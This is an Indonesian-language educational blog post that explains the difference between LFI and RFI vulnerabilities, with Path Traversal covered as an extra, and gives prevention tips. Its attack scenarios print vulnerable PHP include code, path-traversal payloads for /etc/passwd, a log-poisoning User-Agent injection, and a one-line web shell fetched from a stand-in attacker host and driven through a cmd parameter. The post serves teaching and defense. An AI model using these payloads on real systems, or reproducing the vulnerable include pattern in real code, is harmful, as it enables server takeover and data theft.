Jangan Keliru! Ini Dia Perbedaan LFI dan DFI dalam Keamanan Siber

Table of Contents

Pernah dengar soal LFI dan DFI? Atau mungkin lebih sering dengar LFI dan RFI? Dalam dunia keamanan siber, khususnya di ranah keamanan web, kedua istilah ini sering banget muncul dan bikin pusing. Nah, biar nggak bingung lagi, kita bakal kupas tuntas perbedaan antara LFI dan RFI (biasanya DFI yang dimaksud itu RFI lho!), apa bahayanya, dan gimana cara ngindarinnya. Siap? Yuk, kita mulai!

Image just for illustration

Apa Itu LFI (Local File Inclusion)?¶

LFI, singkatan dari Local File Inclusion, adalah jenis kerentanan keamanan web yang memungkinkan penyerang untuk menyertakan (include) atau menjalankan file di server web secara lokal. Ini terjadi ketika aplikasi web menggunakan input dari pengguna (misalnya, melalui parameter URL) untuk menentukan jalur atau nama file yang akan di-include, tanpa melakukan validasi atau sanitasi input yang memadai. Bayangin ada website yang punya fungsi buat nampilin berbagai halaman, dan URL-nya kira-kira gini: http://websitekamu.com/index.php?page=about.php. Nah, kalau servernya nggak hati-hati, penyerang bisa coba ganti about.php dengan nama file lain yang ada di server kamu, misalnya ../../../../etc/passwd.

Dalam skenario LFI, server web akan mencoba membuka atau mengeksekusi file yang diminta penyerang dari sistem file lokal server itu sendiri. File ini bisa apa aja, mulai dari file konfigurasi penting, file log server, atau bahkan file yang diunggah penyerang (kalau ada celah upload juga). Intinya, aksesnya terbatas pada file-file yang memang sudah ada atau bisa diakses di server lokal. Kerentanan ini sering muncul karena kesalahan penanganan input pada fungsi-fungsi yang melakukan operasi file, seperti include(), require(), include_once(), atau require_once() dalam bahasa pemrograman seperti PHP, atau fungsi serupa di bahasa lain.

Cara Kerja LFI¶

Jadi gini, LFI terjadi ketika kode di server mengambil nama file dari input user (misalnya, dari parameter di URL) dan langsung menggunakannya dalam fungsi include atau require. Contoh kodenya mungkin kelihatan gini di PHP (ini contoh yang rentan!):

<?php
$page = $_GET['page']; // Mengambil input 'page' dari URL
include($page);      // Langsung meng-include file berdasarkan input
?>

Nah, kalau URL yang diminta adalah http://websitekamu.com/index.php?page=kontak.php, server bakal meng-include file kontak.php yang mungkin berisi halaman kontak. Tapi kalau penyerang ngirim URL kayak gini: http://websitekamu.com/index.php?page=../../../../etc/passwd, server yang rentan bakal mencoba meng-include file /etc/passwd. File ini biasanya berisi daftar user di sistem Linux/Unix. Meski nggak bisa dieksekusi sebagai kode, isinya bisa memberikan informasi sensitif kepada penyerang. Penyerang juga bisa mencoba meng-include file log server (seperti log Apache/Nginx) dan memasukkan kode berbahaya ke dalamnya (teknik yang disebut log poisoning) untuk kemudian dieksekusi melalui LFI.

Dampak LFI¶

Dampak dari kerentanan LFI bisa bervariasi, mulai dari sekadar membuka file-file sensitif sampai potensi eksekusi kode dari jarak jauh (Remote Code Execution/RCE). Kalau penyerang berhasil membaca file-file konfigurasi database, mereka bisa mendapatkan kredensial login database. Membaca file log server bisa memberi mereka informasi tentang struktur aplikasi atau bahkan alamat IP penyerang lain.

Dalam beberapa kasus yang lebih parah, LFI bisa dikombinasikan dengan kerentanan lain, misalnya kerentanan upload file. Penyerang bisa mengunggah file berbahaya (misalnya, script PHP berisi kode eksekusi) dan kemudian menggunakan LFI untuk meng-include file berbahaya yang baru diunggah itu. Nah, kalau ini berhasil, penyerang bisa menjalankan perintah apa pun di server. Jadi, meskipun namanya Local File Inclusion, potensi bahayanya bisa sampai RCE juga lho! Kerentanan ini sering menjadi batu loncatan bagi penyerang untuk melancarkan serangan yang lebih serius.

Kenalan Sama RFI (Remote File Inclusion)¶

Sekarang kita pindah ke RFI. Remote File Inclusion (RFI) adalah sepupu LFI yang sedikit lebih berbahaya. Jika LFI menyertakan file dari server lokal, RFI memungkinkan penyerang untuk menyertakan file dari URL eksternal atau server lain. Ini terjadi ketika aplikasi web mengambil input dari pengguna (lagi-lagi, biasanya dari parameter URL) dan menggunakannya untuk menentukan lokasi file yang akan di-include, tapi server dikonfigurasi untuk mengizinkan penyertaan file dari URL eksternal.

Contoh URL yang rentan RFI mungkin terlihat mirip dengan LFI, tapi bedanya, penyerang bisa memasukkan URL lengkap: http://websitekamu.com/index.php?page=http://penyerang.com/malicious_code.txt. Jika server web dikonfigurasi untuk mengizinkan ini (misalnya, pengaturan allow_url_include di PHP diaktifkan), server akan mencoba mengambil konten dari http://penyerang.com/malicious_code.txt dan mengeksekusinya seolah-olah itu adalah bagian dari script lokal. Ini jauh lebih berbahaya karena penyerang bisa menjalankan kode apa pun yang mereka tempatkan di server mereka sendiri.

Gimana RFI Terjadi¶

Mirip dengan LFI, RFI juga berakar pada penggunaan input user yang tidak divalidasi dalam fungsi include. Contoh kodenya bisa serupa:

<?php
// PERINGATAN: Kode ini RENTAN RFI jika allow_url_include aktif!
$halaman = $_GET['halaman'];
include($halaman);
?>

Bedanya adalah konfigurasi server atau bahasa pemrograman yang digunakan. Di PHP, RFI bisa dieksploitasi jika pengaturan allow_url_include di file php.ini diatur menjadi On. Secara default, pengaturan ini biasanya Off sejak PHP 5.2.0, yang secara signifikan mengurangi risiko RFI pada instalasi PHP modern. Namun, masih ada server dengan konfigurasi lama atau kustom yang mungkin mengaktifkannya.

Ketika penyerang memberikan URL eksternal sebagai nilai parameter $halaman, server akan melakukan HTTP request ke URL tersebut, mengambil kontennya, dan mencoba menginterpretasikan konten tersebut sebagai kode (sesuai konteks file yang di-include, misalnya PHP). Ini memungkinkan penyerang untuk mengontrol sepenuhnya kode yang dieksekusi di server korban hanya dengan menempatkan kode berbahaya di server mereka sendiri dan mengarahkannya melalui URL.

Bahaya RFI¶

RFI adalah salah satu kerentanan yang paling berbahaya karena potensi dampaknya yang sangat tinggi: Remote Code Execution (RCE) secara langsung. Dengan RFI, penyerang tidak perlu mencari celah lain (seperti upload file) untuk menjalankan kode mereka di server target. Mereka hanya perlu membuat script berbahaya di server mereka, lalu mengarahkan server korban untuk meng-include script itu.

Setelah berhasil melakukan RFI, penyerang bisa melakukan apa saja yang diizinkan oleh hak akses user yang menjalankan proses web server. Ini bisa berarti mencuri data sensitif, menghapus file, mengubah konten website, menggunakan server sebagai basis untuk menyerang sistem lain, atau bahkan mengambil alih kendali penuh atas server (jika user web server punya hak akses yang tinggi). Karena kemudahan eksploitasinya dan dampak langsung berupa RCE, RFI dianggap lebih serius daripada LFI dalam banyak kasus, meskipun LFI tetap berbahaya.

LFI vs RFI: Ini Dia Beda Utamanya¶

Setelah tahu definisi masing-masing, sekarang mari kita rangkum perbedaan utamanya biar makin jelas. Ini dia poin-poin kuncinya:

Sumber File yang Di-Include¶

Ini perbedaan paling fundamental.
- LFI: File yang di-include berasal dari server lokal tempat aplikasi web berjalan. Penyerang memanipulasi jalur ke file yang sudah ada di server.
- RFI: File yang di-include berasal dari server eksternal yang ditentukan oleh penyerang melalui URL. Server korban melakukan permintaan ke URL tersebut dan meng-include kontennya.

Jadi, kalau LFI mainnya “di dalam rumah” server itu sendiri, RFI mainnya “ngambil barang” dari luar rumah via internet.

Potensi Bahaya dan Dampaknya¶

Meskipun keduanya bisa berujung pada RCE, tingkat kemudahan dan dampaknya berbeda.
- LFI: Dampak langsung biasanya hanya membaca file lokal yang sensitif. Potensi RCE ada, tapi seringkali butuh teknik tambahan atau kombinasi dengan kerentanan lain (seperti log poisoning atau file upload). Membutuhkan penyerang untuk tahu lokasi atau nama file yang relevan di server lokal.
- RFI: Dampak langsung adalah Remote Code Execution (RCE) jika file yang di-include dari URL eksternal berisi kode eksekusi. Penyerang bisa menjalankan kode apa pun yang mereka inginkan hanya dengan menempatkannya di server mereka sendiri. Ini seringkali lebih mudah dieksploitasi untuk RCE dibandingkan LFI, asalkan konfigurasi server mengizinkannya.

Secara umum, RFI memberikan kontrol yang lebih langsung kepada penyerang untuk menjalankan kode semaunya, dibandingkan LFI yang seringkali butuh langkah tambahan atau keberuntungan (menemukan file sensitif atau celah lain).

Kondisi yang Dibutuhkan¶

Kedua kerentanan ini butuh kondisi spesifik agar bisa dieksploitasi.
- LFI: Terjadi karena aplikasi web mengambil input user untuk menentukan jalur file tanpa validasi atau sanitasi yang ketat. Ini adalah masalah pada kode aplikasi.
- RFI: Terjadi karena aplikasi web mengambil input user untuk menentukan URL file dan server web dikonfigurasi untuk mengizinkan penyertaan file dari URL eksternal (allow_url_include=On di PHP). Ini adalah kombinasi masalah pada kode aplikasi dan konfigurasi server/runtime.

Jadi, RFI punya “syarat” tambahan yaitu konfigurasi server yang permisif, sedangkan LFI murni kesalahan coding aplikasi.

Serupa Tapi Tak Sama: LFI dan Path Traversal¶

Seringkali, LFI disebut-sebut bareng sama Path Traversal atau Directory Traversal. Apa bedanya? Path Traversal itu sebenarnya teknik, bukan jenis kerentanan. Path Traversal adalah teknik penyerang untuk mengakses file atau direktori yang terletak di luar direktori web root aplikasi, biasanya dengan menggunakan karakter seperti ../ (dot-dot-slash) untuk naik ke direktori induk.

Contoh Path Traversal: ../../../../etc/passwd. Empat kali ../ berarti naik empat level direktori dari lokasi skrip yang rentan.

Nah, teknik Path Traversal ini sering digunakan untuk mengeksploitasi kerentanan LFI. Ketika ada kerentanan LFI, penyerang menggunakan teknik Path Traversal untuk “keluar” dari direktori aplikasi web dan mengakses file-file sensitif di bagian lain dari sistem file server, seperti /etc/passwd atau file log sistem. Jadi, Path Traversal adalah cara penyerang “mengelabui” aplikasi yang rentan LFI agar mengakses file di lokasi yang tidak seharusnya.

Kerentanan Path Traversal sendiri (tanpa LFI) bisa muncul di fungsi lain yang menangani file, misalnya fungsi membaca file, menampilkan gambar, atau mengunduh file. Jika aplikasi menggunakan input user untuk nama file tanpa validasi dan sanitasi yang tepat, dan memungkinkan penggunaan ../, maka itu adalah kerentanan Path Traversal. Jika kerentanan Path Traversal ini digabungkan dengan fungsi include, maka jadilah LFI.

Intinya: LFI adalah kerentanan yang memungkinkan penyertaan file lokal yang tidak diinginkan; Path Traversal adalah teknik untuk mengakses file di lokasi yang tidak diinginkan. Teknik Path Traversal sering menjadi bagian dari eksploitasi LFI.

Contoh Skenario Serangan LFI dan RFI¶

Mari kita lihat contoh lebih nyata bagaimana serangan LFI dan RFI bisa terjadi.

Skenario LFI¶

Bayangkan ada website berita dengan parameter artikel. URL-nya: http://beritakami.com/?artikel=seni-budaya.html.
Penyerang mencoba mengubah parameter artikel menjadi:
http://beritakami.com/?artikel=../../../../etc/passwd
Jika website rentan LFI dan tidak memfilter input ../, server akan mencoba meng-include atau membaca file /etc/passwd. Penyerang bisa melihat daftar username di server.

Atau skenario LFI lain dengan log poisoning:
1. Penyerang membuat permintaan HTTP ke server dengan user-agent yang dimodifikasi, misalnya: User-Agent: <?php phpinfo(); ?>. Server web (misalnya Apache) akan mencatat user-agent ini ke dalam file log-nya (/var/log/apache2/access.log).
2. Penyerang kemudian mengeksploitasi celah LFI dengan mencoba meng-include file log tersebut: http://beritakami.com/?artikel=../../../../var/log/apache2/access.log.
3. Jika berhasil, server akan meng-include file log. Karena file log sekarang berisi kode PHP (<?php phpinfo(); ?>) yang disisipkan oleh penyerang melalui user-agent, kode PHP itu akan dieksekusi oleh server web. Dalam contoh ini, akan menampilkan informasi PHP server, yang mengkonfirmasi RCE.

Skenario RFI¶

Bayangkan website yang sama, tapi kali ini dengan parameter yang rentan RFI: http://beritakami.com/?page=home.php.
Penyerang membuat script PHP sederhana di server mereka sendiri (misalnya, di http://penyerang.com/backdoor.txt) yang isinya: <?php system($_GET['cmd']); ?>. Script ini akan menjalankan perintah sistem operasi apa pun yang diberikan melalui parameter cmd di URL.

Penyerang kemudian mengubah URL di website berita:
http://beritakami.com/?page=http://penyerang.com/backdoor.txt
Jika server berita allow_url_include-nya On, server akan mengunduh backdoor.txt dari http://penyerang.com/ dan mengeksekusinya.

Sekarang, penyerang bisa menjalankan perintah sistem di server berita hanya dengan menambahkan parameter cmd di URL setelah eksploitasi RFI:
http://beritakami.com/?page=http://penyerang.com/backdoor.txt&cmd=ls%20-l%20/
Server berita akan mengeksekusi perintah ls -l / dan menampilkan daftar file di direktori root server berita kepada penyerang. Mereka sekarang punya kontrol eksekusi kode!

Fakta Menarik Seputar File Inclusion Vulnerabilities¶

• Kerentanan File Inclusion (LFI/RFI) sudah ada sejak awal mula aplikasi web dinamis, terutama yang banyak menggunakan mekanisme include file berdasarkan input user.
• PHP adalah salah satu bahasa yang sering dikaitkan dengan kerentanan ini karena fungsi include() dan require(). Namun, kerentanan serupa bisa ada di bahasa lain jika penanganan inputnya buruk.
• Pengaturan allow_url_include=On di PHP, yang jadi syarat utama RFI, secara default sudah dimatikan sejak PHP versi 5.2.0 (dirilis tahun 2006). Ini bukti bahwa komunitas keamanan sudah lama menyadari bahayanya dan mengambil langkah preventif. Namun, masih ada aplikasi lama atau konfigurasi server yang mengabaikan rekomendasi ini.
• LFI seringkali lebih umum ditemukan daripada RFI di era modern, karena RFI sudah banyak diatasi di tingkat konfigurasi bahasa pemrograman. Tapi LFI tetap marak karena kesalahan coding aplikasi yang sering lalai memvalidasi input.
• Eksploitasi LFI dan RFI adalah teknik dasar yang sering diajarkan dalam kursus penetration testing karena prinsipnya relatif sederhana: manipulasi input = eksekusi tak terduga.
• Tidak semua serangan LFI bertujuan RCE. Beberapa hanya ingin mencuri informasi (misalnya, kredensial database dari file konfigurasi) atau merusak file (jika dikombinasikan dengan kerentanan lain).

Gimana Cara Mencegah LFI dan RFI?¶

Mencegah kerentanan LFI dan RFI adalah tanggung jawab utama developer aplikasi web dan administrator server. Berikut beberapa tips krusial:

Untuk Developer¶

1. Jangan Percaya Input User: Ini aturan emas di keamanan web. Jangan pernah langsung menggunakan input yang berasal dari pengguna (dari URL, form, header HTTP, dll.) untuk operasi file atau eksekusi kode tanpa validasi ketat.

2. Gunakan Whitelisting, Bukan Blacklisting: Daripada mencoba memblokir karakter berbahaya seperti ../ atau skema URL http://, lebih baik tentukan daftar file atau nilai parameter yang diizinkan. Misalnya, jika parameter page seharusnya hanya bisa berisi ‘home’, ‘about’, ‘contact’, ‘services’, maka hanya izinkan nilai-nilai itu.

   <?php
   // Contoh whitelisting (LEBIH AMAN)
   $allowed_pages = ['home', 'about', 'contact', 'services'];
   $page = $_GET['page'];
   
   if (in_array($page, $allowed_pages)) {
       include($page . '.php'); // Tambahkan ekstensi secara eksplisit
   } else {
       // Tangani input tidak valid, misalnya tampilkan halaman error atau default
       include('error.php');
   }
   ?>
   

   
   3. Tambahkan Ekstensi File Secara Eksplisit: Jangan biarkan user menentukan ekstensi file. Jika kamu mau meng-include file PHP, tambahkan .php di kode kamu setelah input user divalidasi. Contoh: include($page . '.php');. Ini mencegah penyerang mencoba meng-include file dengan ekstensi lain atau bahkan tanpa ekstensi.
   4. Jangan Izinkan Penggunaan ../ di Input File: Jika kamu harus menggunakan input user untuk bagian dari jalur file (misalnya, untuk nama modul atau tema), pastikan untuk membersihkan input dari karakter Path Traversal seperti ../, ..\\, atau . di awal/akhir string.
   5. Letakkan File yang Bisa Di-include di Direktori Terbatas: Jika memungkinkan, letakkan semua file yang di-include berdasarkan input user di satu direktori spesifik, dan pastikan user tidak bisa “kabur” dari direktori itu.

Untuk Pemilik Website/User¶

Jika kamu bukan developer tapi mengelola website (misalnya, menggunakan CMS seperti WordPress, Joomla, dll.), kamu tetap punya peran penting:

1. Selalu Update Software: Pastikan CMS, plugin, tema, bahasa pemrograman (PHP, Python, dll.), dan web server (Apache, Nginx) kamu selalu dalam versi terbaru. Update seringkali berisi perbaikan untuk kerentanan keamanan yang sudah ditemukan.
2. Nonaktifkan allow_url_include (jika menggunakan PHP): Pastikan pengaturan allow_url_include di file php.ini kamu diatur Off. Ini adalah langkah krusial untuk mencegah RFI. Kalau kamu tidak tahu caranya, hubungi penyedia hosting kamu.
3. Gunakan Web Application Firewall (WAF): WAF bisa membantu mendeteksi dan memblokir permintaan berbahaya yang mencoba mengeksploitasi kerentanan seperti LFI/RFI sebelum sampai ke aplikasi web kamu.
4. Lakukan Scanning Keamanan Berkala: Gunakan alat security scanner untuk mendeteksi kerentanan di website kamu secara berkala.

Tabel Perbandingan LFI dan RFI¶

Biar makin mantap bedanya, lihat tabel perbandingan ini:

Fitur Penting	LFI (Local File Inclusion)	RFI (Remote File Inclusion)
Sumber File	Server Lokal	Server Eksternal (via URL)
Konfigurasi Tambahan (PHP)	Tidak perlu konfigurasi spesifik selain kode rentan	Membutuhkan allow_url_include=On
Dampak Langsung	Membaca file lokal sensitif	Remote Code Execution (RCE) langsung
Potensi RCE	Bisa, seringkali butuh teknik tambahan (log poisoning, upload file)	Tinggi, seringkali bisa langsung dieksploitasi
Teknik Terkait	Path Traversal (untuk mengakses file di luar web root)	Tidak secara langsung terkait teknik Path Traversal
Penyebab	Validasi input buruk di kode aplikasi	Validasi input buruk di kode aplikasi + konfigurasi server permisif

Visualisasi Serangan (Diagram Mermaid)¶

Berikut visualisasi sederhana alur serangan LFI dan RFI menggunakan diagram Mermaid:

```mermaid
graph TD
A[Penyerang] → B{Kirim Request dgn Input File/URL Rentan};
B → C[Aplikasi Web yang Rentan];

subgraph LFI Scenario
C -- Input = ../../../etc/passwd --> D1[Server Mencoba Include/Baca File Lokal];
D1 --> E1[Akses File Sensitif di Server Lokal];
end

subgraph RFI Scenario
C -- Input = http://penyerang.com/malicious.txt --> F1{Server Melakukan Permintaan HTTP ke URL Eksternal};
F1 --> G1[Ambil Konten dari Server Penyerang];
G1 --> D2[Server Mengeksekusi Konten sbg Kode];
D2 --> E2[Remote Code Execution (RCE)];
end

E1 --> H[Dampak: Informasi Sensitif/Potensi RCE];
E2 --> I[Dampak: Kontrol Penuh atas Server (RCE)];

H --> J[Kerugian bagi Korban];
I --> J;

```

Diagram di atas menunjukkan bagaimana penyerang mengirimkan input yang dimanipulasi ke aplikasi web yang rentan. Jika kerentanannya LFI, server akan mencoba meng-include atau membaca file lokal (D1), yang bisa mengarah ke akses file sensitif (E1) dan potensi RCE (H). Jika kerentanannya RFI dan konfigurasi server memungkinkan (F1, G1), server akan langsung mengeksekusi kode dari server penyerang (D2), yang berujung pada RCE (E2) dan kontrol penuh (I). Kedua skenario ini pada akhirnya merugikan korban (J).

Memahami cara kerja dan perbedaan LFI serta RFI sangat penting baik bagi developer maupun pengguna aplikasi web. Dengan pemahaman ini, kita bisa mengambil langkah-langkah pencegahan yang tepat untuk melindungi diri dan aplikasi kita dari serangan berbahaya.

Nah, itu dia penjelasan lengkap soal perbedaan LFI dan RFI (plus Path Traversal sebagai bonus). Semoga sekarang udah nggak bingung lagi ya! Keamanan siber itu dinamis, jadi terus belajar dan waspada itu penting banget.

Gimana menurut kamu? Ada pengalaman atau pertanyaan seputar LFI/RFI yang mau kamu share? Atau mungkin ada tips pencegahan lain yang kamu tahu? Yuk, diskusi di kolom komentar di bawah!